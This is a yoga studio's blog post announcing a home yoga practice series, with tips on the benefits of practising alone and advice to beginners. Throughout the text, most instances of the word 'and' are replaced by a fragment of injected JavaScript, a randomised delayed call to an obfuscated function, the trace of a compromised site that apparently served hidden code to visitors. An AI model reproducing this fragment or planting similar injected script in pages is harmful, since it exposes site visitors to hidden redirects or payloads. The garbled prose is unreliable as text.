Creating a Personal Home Yoga Practice

 

In our original Blog post Getting Back on Track (Check it out if you haven’t read it) we shared with you “Tips” andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and “FAQ’s” to help you begin a personal home practice.  Since that post we have received numerous emails from those new to yoga that like the idea of a personal home practice andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and are looking for more guidance.  In an effort to answer all of your questions andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and concerns andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and to get you on your mat for your personal practice straight away we have created a new series the Home Yoga Practice Yoga veterans will find inspiration from this new series too.  There are numerous benefits to a personal practice; it’s free, it’s yours to take wherever you want, it’s gradual for those that are building stamina as so many newbies are, it’s a great way to see your progress daily, you can fit it in any time it’s convenient for you, it’s an opportunity to work on a pose that is eluding you, andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and creating this healthy daily habit will spill into other areas of your life.

There are many different “styles” of yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and you are responsible to determine what your needs are on any given day.  But, with a name like Yin Yang Yogis I would be remiss to not include both Yin & Yang methods in this new series.  Check out our Yin Series for more in depth info on Yin Yoga.  Yang is a dynamic style of yoga andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and most associate it with vinyasa flow, ashtanga or power yoga.  Check out “styles” above for more info.

A personal home practice is not designed to replace the expertise andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and guidance of a qualified yoga instructor, nor to miss out on the experience of group energy.  However, many people new to yoga have expressed that they find yoga intimidating andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and even those with years of experience have expressed to me that they don’t have a home practice.  This is especially concerning to me if you are a teacher.  If you are a yoga virgin take a beginners class, workshop or private lesson to learn some basics before you begin.  If you are an experienced yogi grab your journal andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and hit the mat for your personal practice.  You will either love it or learn a lot about yourself, most likely, both.

Follow our blog here or go to Home Yoga Practice to check out this exciting new series.

We are here for you andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}and your feedback is important, let us know how we are doing…

yogi

Stacy & the Y3 team

This entry was posted in Home Yoga Practice, Inspiration, Intro to Yoga Series, Uncategorized, Yin Series, Yoga. Bookmark the permalink.

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